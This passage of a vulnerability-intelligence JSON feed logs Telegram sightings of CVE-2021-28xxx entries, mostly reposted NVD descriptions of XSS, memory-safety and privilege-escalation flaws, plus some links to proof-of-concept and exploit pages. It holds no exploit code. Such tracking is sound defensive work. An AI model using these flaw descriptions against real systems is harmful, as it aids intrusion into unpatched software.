"https://t.me/cibsecurity/24590", "content": "\u203c CVE-2021-28006 \u203c\n\nWeb Based Quiz System 1.0 is affected by cross-site scripting (XSS) in admin.php through the options parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-09T16:51:38.000000Z"}, {"uuid": "115120ec-772b-4553-b45d-634afd12421d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28040", "type": "seen", "source": "https://t.me/cibsecurity/24534", "content": "\u203c CVE-2021-28040 \u203c\n\nAn issue was discovered in OSSEC 3.6.0. An uncontrolled recursion vulnerability in os_xml.c occurs when a large number of opening and closing XML tags is used. Because recursion is used in _ReadElem without restriction, an attacker can trigger a segmentation fault once unmapped memory is reached.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T20:47:43.000000Z"}, {"uuid": "432353dc-638e-4d61-9976-6a00e2cf29fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28033", "type": "seen", "source": "https://t.me/cibsecurity/24508", "content": "\u203c CVE-2021-28033 \u203c\n\nAn issue was discovered in the byte_struct crate before 0.6.1 for Rust. There can be a drop of uninitialized memory if a certain deserialization method panics.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:33.000000Z"}, {"uuid": "c93852ea-ca43-4fa1-b613-4e1f5589d2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28037", "type": "seen", "source": "https://t.me/cibsecurity/24510", "content": "\u203c CVE-2021-28037 \u203c\n\nAn issue was discovered in the internment crate before 0.4.2 for Rust. There is a data race that can cause memory corruption because of the unconditional implementation of Sync for Intern.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:35.000000Z"}, {"uuid": "d7ce1ecc-faf2-4ee8-8635-26cf0f1a50f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28035", "type": "seen", "source": "https://t.me/cibsecurity/24509", "content": "\u203c CVE-2021-28035 \u203c\n\nAn issue was discovered in the stack_dst crate before 0.6.1 for Rust. Because of the push_inner behavior, a drop of uninitialized memory can occur upon a val.clone() panic.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:34.000000Z"}, {"uuid": "af93078a-6b74-4d58-9eb6-387f7cb98485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28036", "type": "seen", "source": "https://t.me/cibsecurity/24505", "content": "\u203c CVE-2021-28036 \u203c\n\nAn issue was discovered in the quinn crate before 0.7.0 for Rust. It may have invalid memory access for certain versions of the standard library because it relies on a direct cast of std::net::SocketAddrV4 and std::net::SocketAddrV6 data structures.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:29.000000Z"}, {"uuid": "e4d471d8-70dc-4ddd-ad6f-e44da83c13c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28030", "type": "seen", "source": "https://t.me/cibsecurity/24502", "content": "\u203c CVE-2021-28030 \u203c\n\nAn issue was discovered in the truetype crate before 0.30.1 for Rust. Attackers can read the contents of uninitialized memory locations via a user-provided Read operation within Tape::take_bytes.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:25.000000Z"}, {"uuid": "027bbf66-026e-4619-8ca6-73cc32a7cdbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28032", "type": "seen", "source": "https://t.me/cibsecurity/24501", "content": "\u203c CVE-2021-28032 \u203c\n\nAn issue was discovered in the nano_arena crate before 0.5.2 for Rust. There is an aliasing violation in split_at because two mutable references can exist for the same element, if Borrow behaves in certain ways. This can have a resultant out-of-bounds write or use-after-free.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:24.000000Z"}, {"uuid": "f0c7029d-294e-49ad-bf2d-f6f302529d51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28031", "type": "seen", "source": "https://t.me/cibsecurity/24500", "content": "\u203c CVE-2021-28031 \u203c\n\nAn issue was discovered in the scratchpad crate before 1.3.1 for Rust. The move_elements function can have a double-free upon a panic in a user-provided f function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:23.000000Z"}, {"uuid": "39983250-0265-4d7f-94bd-a2952c9fdc92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28034", "type": "seen", "source": "https://t.me/cibsecurity/24499", "content": "\u203c CVE-2021-28034 \u203c\n\nAn issue was discovered in the stack_dst crate before 0.6.1 for Rust. Because of the push_inner behavior, a double free can occur upon a val.clone() panic.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-05T12:47:22.000000Z"}, {"uuid": "ae3afa26-0bed-4d22-af22-cc4b2cc0d085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28131", "type": "seen", "source": "https://t.me/cibsecurity/26368", "content": "\u203c CVE-2021-28131 \u203c\n\nImpala sessions use a 16 byte secret to verify that the session is not being hijacked by another user. However, these secrets appear in the Impala logs, therefore Impala users with access to the logs can use another authenticated user's sessions with specially constructed requests. This means the attacker is able to execute statements for which they don't have the necessary privileges otherwise. Impala deployments with Apache Sentry or Apache Ranger authorization enabled may be vulnerable to privilege escalation if an authenticated attacker is able to hijack a session or query from another authenticated user with privileges not assigned to the attacker. Impala deployments with audit logging enabled may be vulnerable to incorrect audit logging as a user could undertake actions that were logged under the name of a different authenticated user. Constructing an attack requires a high degree of technical sophistication and access to the Impala system as an authenticated user. Mitigation: If an Impala deployment uses Apache Sentry, Apache Ranger or audit logging, then users should upgrade to a version of Impala with the fix for IMPALA-10600. The Impala 4.0 release includes this fix. This hides session secrets from the logs to eliminate the risk of any attack using this mechanism. In lieu of an upgrade, restricting access to logs that expose secrets will reduce the risk of an attack. Restricting access to the Impala deployment to trusted users will also reduce the risk of an attack. Log redaction techniques can be used to redact secrets from the logs.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-22T14:36:11.000000Z"}, {"uuid": "9be8ca85-6990-4997-b9dd-10ba1ae6f715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28054", "type": "seen", "source": "https://t.me/cibsecurity/26222", "content": "\u203c CVE-2021-28054 \u203c\n\nAn issue was discovered in Centreon-Web in Centreon Platform 20.10.0. A Stored Cross-Site Scripting (XSS) issue in \"Configuration > Hosts\" allows remote authenticated users to inject arbitrary web script or HTML via the Alias parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-16T18:28:12.000000Z"}, {"uuid": "0c4acb8f-9aa5-4f31-9eb4-b2a68fdf1f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28114", "type": "seen", "source": "https://t.me/cibsecurity/26215", "content": "\u203c CVE-2021-28114 \u203c\n\nFroala WYSIWYG Editor 3.2.6-1 is affected by XSS due to a namespace confusion during parsing.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-16T16:28:07.000000Z"}, {"uuid": "d18aa2b2-f8bc-40f4-be45-df213f6c7a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/cibsecurity/26189", "content": "\u203c CVE-2021-34429 \u203c\n\nFor Eclipse Jetty versions 9.4.37-9.4.42, 10.0.1-10.0.5 & 11.0.1-11.0.5, URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-15T20:26:58.000000Z"}, {"uuid": "0428b564-1283-47ec-9ac8-6244d9bc109e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28211", "type": "seen", "source": "https://t.me/cibsecurity/25396", "content": "\u203c CVE-2021-28211 \u203c\n\nA heap overflow in LzmaUefiDecompressGetInfo function in EDK II.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-06-11T20:43:05.000000Z"}, {"uuid": "3acd9fdc-723a-479f-b0d1-cebd25802b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28814", "type": "seen", "source": "https://t.me/cibsecurity/25370", "content": "\u203c CVE-2021-28814 \u203c\n\nAn improper access control vulnerability has been reported to affect QNAP NAS. If exploited, this vulnerability allows remote attackers to compromise the security of the software. This issue affects: QNAP Systems Inc. Helpdesk versions prior to 3.0.4.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-06-11T12:36:38.000000Z"}, {"uuid": "359d26ff-7544-4792-9a98-b8159a9ce9dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28821", "type": "seen", "source": "https://t.me/cibsecurity/25357", "content": "\u203c CVE-2021-28821 \u203c\n\nThe Windows Installation component of TIBCO Software Inc.'s TIBCO Enterprise Message Service, TIBCO Enterprise Message Service - Community Edition, and TIBCO Enterprise Message Service - Developer Edition contains a vulnerability that theoretically allows a low privileged attacker with local access on some versions of the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from a lack of access restrictions on certain files and/or folders in the installation. Affected releases are TIBCO Software Inc.'s TIBCO Enterprise Message Service: versions 8.5.1 and below, TIBCO Enterprise Message Service - Community Edition: versions 8.5.1 and below, and TIBCO Enterprise Message Service - Developer Edition: versions 8.5.1 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:52.000000Z"}, {"uuid": "46266ddf-a262-4440-b41a-883d7578cb40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28818", "type": "seen", "source": "https://t.me/cibsecurity/25356", "content": "\u203c CVE-2021-28818 \u203c\n\nThe Rendezvous Routing Daemon (rvrd), Rendezvous Secure Routing Daemon (rvrsd), Rendezvous Secure Daemon (rvsd), Rendezvous Cache (rvcache), Rendezvous Secure C API, Rendezvous Java API, and Rendezvous .Net API components of TIBCO Software Inc.'s TIBCO Rendezvous and TIBCO Rendezvous Developer Edition contain a vulnerability that theoretically allows a low privileged attacker with local access on the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from the affected component searching for run-time artifacts outside of the installation hierarchy. Affected releases are TIBCO Software Inc.'s TIBCO Rendezvous: versions 8.5.1 and below and TIBCO Rendezvous Developer Edition: versions 8.5.1 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:48.000000Z"}, {"uuid": "dfe1ed26-c3cb-48cf-868e-1800128e2c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28817", "type": "seen", "source": "https://t.me/cibsecurity/25354", "content": "\u203c CVE-2021-28817 \u203c\n\nThe Windows Installation component of TIBCO Software Inc.'s TIBCO Rendezvous and TIBCO Rendezvous Developer Edition contains a vulnerability that theoretically allows a low privileged attacker with local access on some versions of the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from a lack of access restrictions on certain files and/or folders in the installation. Affected releases are TIBCO Software Inc.'s TIBCO Rendezvous: versions 8.5.1 and below and TIBCO Rendezvous Developer Edition: versions 8.5.1 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:47.000000Z"}, {"uuid": "41b2f0d0-86dc-4f12-8b50-af1e451e7899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28819", "type": "seen", "source": "https://t.me/cibsecurity/25350", "content": "\u203c CVE-2021-28819 \u203c\n\nThe Windows Installation component of TIBCO Software Inc.'s TIBCO FTL - Community Edition, TIBCO FTL - Developer Edition, and TIBCO FTL - Enterprise Edition contains a vulnerability that theoretically allows a low privileged attacker with local access on some versions of the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from a lack of access restrictions on certain files and/or folders in the installation. Affected releases are TIBCO Software Inc.'s TIBCO FTL - Community Edition: versions 6.5.0 and below, TIBCO FTL - Developer Edition: versions 6.5.0 and below, and TIBCO FTL - Enterprise Edition: versions 6.5.0 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:40.000000Z"}, {"uuid": "86ec6c2b-e155-453b-b299-5b7052f07721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28824", "type": "seen", "source": "https://t.me/cibsecurity/25349", "content": "\u203c CVE-2021-28824 \u203c\n\nThe Windows Installation component of TIBCO Software Inc.'s TIBCO ActiveSpaces - Community Edition, TIBCO ActiveSpaces - Developer Edition, and TIBCO ActiveSpaces - Enterprise Edition contains a vulnerability that theoretically allows a low privileged attacker with local access on some versions of the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from a lack of access restrictions on certain files and/or folders in the installation. Affected releases are TIBCO Software Inc.'s TIBCO ActiveSpaces - Community Edition: versions 4.5.0 and below, TIBCO ActiveSpaces - Developer Edition: versions 4.5.0 and below, and TIBCO ActiveSpaces - Enterprise Edition: versions 4.5.0 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:39.000000Z"}, {"uuid": "1ebaa78d-26e3-45d5-b638-15e8a2946dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28099", "type": "seen", "source": "https://t.me/cibsecurity/25348", "content": "\u203c CVE-2021-28099 \u203c\n\nIn Netflix OSS Hollow, since the Files.exists(parent) is run before creating the directories, an attacker can pre-create these directories with wide permissions. Additionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:38.000000Z"}, {"uuid": "d6b92bc4-9675-49af-8937-b078c33eb2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28823", "type": "seen", "source": "https://t.me/cibsecurity/25347", "content": "\u203c CVE-2021-28823 \u203c\n\nThe Windows Installation component of TIBCO Software Inc.'s TIBCO eFTL - Community Edition, TIBCO eFTL - Developer Edition, and TIBCO eFTL - Enterprise Edition contains a vulnerability that theoretically allows a low privileged attacker with local access on some versions of the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from a lack of access restrictions on certain files and/or folders in the installation. Affected releases are TIBCO Software Inc.'s TIBCO eFTL - Community Edition: versions 6.5.0 and below, TIBCO eFTL - Developer Edition: versions 6.5.0 and below, and TIBCO eFTL - Enterprise Edition: versions 6.5.0 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:38.000000Z"}, {"uuid": "7127fa31-4078-4d96-8116-2f2695642ac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28822", "type": "seen", "source": "https://t.me/cibsecurity/25352", "content": "\u203c CVE-2021-28822 \u203c\n\nThe Enterprise Message Service Server (tibemsd), Enterprise Message Service Central Administration (tibemsca), Enterprise Message Service JSON configuration generator (tibemsconf2json), and Enterprise Message Service C API components of TIBCO Software Inc.'s TIBCO Enterprise Message Service, TIBCO Enterprise Message Service - Community Edition, and TIBCO Enterprise Message Service - Developer Edition contain a vulnerability that theoretically allows a low privileged attacker with local access on the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from the affected component searching for run-time artifacts outside of the installation hierarchy. Affected releases are TIBCO Software Inc.'s TIBCO Enterprise Message Service: versions 8.5.1 and below, TIBCO Enterprise Message Service - Community Edition: versions 8.5.1 and below, and TIBCO Enterprise Message Service - Developer Edition: versions 8.5.1 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:45.000000Z"}, {"uuid": "347aa3e0-8da7-4ec8-abd9-1d7453f35548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28820", "type": "seen", "source": "https://t.me/cibsecurity/25351", "content": "\u203c CVE-2021-28820 \u203c\n\nThe FTL Server (tibftlserver), FTL C API, FTL Golang API, FTL Java API, and FTL .Net API components of TIBCO Software Inc.'s TIBCO FTL - Community Edition, TIBCO FTL - Developer Edition, and TIBCO FTL - Enterprise Edition contain a vulnerability that theoretically allows a low privileged attacker with local access on the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from the affected component searching for run-time artifacts outside of the installation hierarchy. Affected releases are TIBCO Software Inc.'s TIBCO FTL - Community Edition: versions 6.5.0 and below, TIBCO FTL - Developer Edition: versions 6.5.0 and below, and TIBCO FTL - Enterprise Edition: versions 6.5.0 and below.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:41.000000Z"}, {"uuid": "e0d1f248-5619-4cef-9ea5-51768f82eaec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28100", "type": "seen", "source": "https://t.me/cibsecurity/25342", "content": "\u203c CVE-2021-28100 \u203c\n\nPriam uses File.createTempFile, which gives the permissions on that file -rw-r--r--. An attacker with read access to the local filesystem can read anything written there by the Priam process.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-23T23:38:31.000000Z"}, {"uuid": "8f7e5689-19fb-4375-a1a5-03ccb578c10c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/androidMalware/1217", "content": "Four Android vulnerabilities patched earlier this month may be under limited, targeted exploitation (CVE-2021-1905, CVE-2021-1906, CVE-2021-28663, CVE-2021-28664)\nhttps://therecord.media/arm-and-qualcomm-zero-days-quietly-patched-in-this-months-android-security-updates/", "creation_timestamp": "2021-06-08T17:52:38.000000Z"}, {"uuid": "132d6640-2979-463f-954e-4ffed43cd6f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/androidMalware/1217", "content": "Four Android vulnerabilities patched earlier this month may be under limited, targeted exploitation (CVE-2021-1905, CVE-2021-1906, CVE-2021-28663, CVE-2021-28664)\nhttps://therecord.media/arm-and-qualcomm-zero-days-quietly-patched-in-this-months-android-security-updates/", "creation_timestamp": "2021-06-08T17:52:38.000000Z"}, {"uuid": "17490ce7-e429-4caf-8f0e-aabe63e114cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/androidMalware/1290", "content": "Internal of the Android kernel backdoor vulnerability CVE-2021-28663\nhttp://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fvul.360.net%2Farchives%2F263", "creation_timestamp": "2021-09-03T10:26:19.000000Z"}, {"uuid": "88bccf46-1529-4954-b847-72e867c26769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "exploited", "source": "https://t.me/androidMalware/1514", "content": "A Year in Review of 0-days Used In-the-Wild in 2021 by Google\nIn 2021 there were 7 #Android in-the-wild 0-days detected and disclosed:\n - Qualcomm Adreno GPU driver (CVE-2020-11261, CVE-2021-1905, CVE-2021-1906)\n - ARM Mali GPU driver (CVE-2021-28663, CVE-2021-28664)\n - Upstream Linux kernel (CVE-2021-1048, CVE-2021-0920)\n\nFor the 5 total #iOS and macOS in-the-wild 0-days, they targeted 3 different attack surfaces:\n - IOMobileFrameBuffer (CVE-2021-30807, CVE-2021-30883)\n - XNU Kernel (CVE-2021-1782 & CVE-2021-30869)\n - CoreGraphics (CVE-2021-30860)\n - CommCenter (FORCEDENTRY sandbox escape - CVE requested, not yet assigned)\nhttps://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html", "creation_timestamp": "2022-04-27T11:03:23.000000Z"}, {"uuid": "8852cc2a-1f4a-4445-93f9-c2b2d3440f96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/haccking/100048", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (CVE-2021-28310)", "creation_timestamp": "2021-07-03T10:00:13.000000Z"}, {"uuid": "da22e3b4-79df-4858-86d3-48825437949a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "exploited", "source": "https://t.me/androidMalware/1514", "content": "A Year in Review of 0-days Used In-the-Wild in 2021 by Google\nIn 2021 there were 7 #Android in-the-wild 0-days detected and disclosed:\n - Qualcomm Adreno GPU driver (CVE-2020-11261, CVE-2021-1905, CVE-2021-1906)\n - ARM Mali GPU driver (CVE-2021-28663, CVE-2021-28664)\n - Upstream Linux kernel (CVE-2021-1048, CVE-2021-0920)\n\nFor the 5 total #iOS and macOS in-the-wild 0-days, they targeted 3 different attack surfaces:\n - IOMobileFrameBuffer (CVE-2021-30807, CVE-2021-30883)\n - XNU Kernel (CVE-2021-1782 & CVE-2021-30869)\n - CoreGraphics (CVE-2021-30860)\n - CommCenter (FORCEDENTRY sandbox escape - CVE requested, not yet assigned)\nhttps://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html", "creation_timestamp": "2022-04-27T11:03:23.000000Z"}, {"uuid": "a3f0fa00-f770-422a-a045-20b03b928964", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28242", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/360", "content": "CVE-2021-28242 b2evolution 7-2-2 - 'cf_name' SQL\u6ce8\u5165\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28242_b2evolution_7-2-2_-_%27cf_name%27_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-06T11:55:15.000000Z"}, {"uuid": "83f17b5d-1afb-499c-b8cf-b60ace4997c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/573", "content": "CVE-2021-28476 Microsoft Hyper-V \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28476_Microsoft_Hyper-V_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-01T06:25:29.000000Z"}, {"uuid": "fc1886f5-4ac8-426f-9229-96f60b3eeef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28420", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/589", "content": "CVE-2021-28420 Seo Panel 4.8.0 - 'from_time' XSS\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28420_Seo_Panel_4.8.0_-_%27from_time%27_XSS%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-03T11:56:47.000000Z"}, {"uuid": "c92881bc-6dd6-43ea-b1b6-2c2f38883eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28169", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/625", "content": "CVE-2021-28169 Jetty Utility Servlets ConcatServlet \u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28169_Jetty_Utility_Servlets_ConcatServlet_%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-09T08:55:00.000000Z"}, {"uuid": "0c370808-e782-42d6-a5cb-d4e51af547df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28152", "type": "published-proof-of-concept", "source": "Telegram/T4DjELWFhaoSrHewtKUXyAe1lDJj4NfFM72r6hxYeGomhVc", "content": "", "creation_timestamp": "2021-05-07T17:46:58.000000Z"}, {"uuid": "39cecb64-bfca-4d45-bac4-b749d3477f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "published-proof-of-concept", "source": "Telegram/FdkVDBIKpoqp16cfdJYyeV8sCKCSKU4J9zwfH0-46n3abAQ", "content": "", "creation_timestamp": "2021-05-07T17:47:07.000000Z"}, {"uuid": "51710120-56ff-4cd2-8347-8e86b3fa63ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "published-proof-of-concept", "source": "Telegram/kqBIQBnemNZWnppEg-tgAl1_5KYz4hJuOh5mnJMNA6zFFeg", "content": "", "creation_timestamp": "2021-05-07T17:47:11.000000Z"}, {"uuid": "6162e7a4-d619-4021-bc38-867e8f758c41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 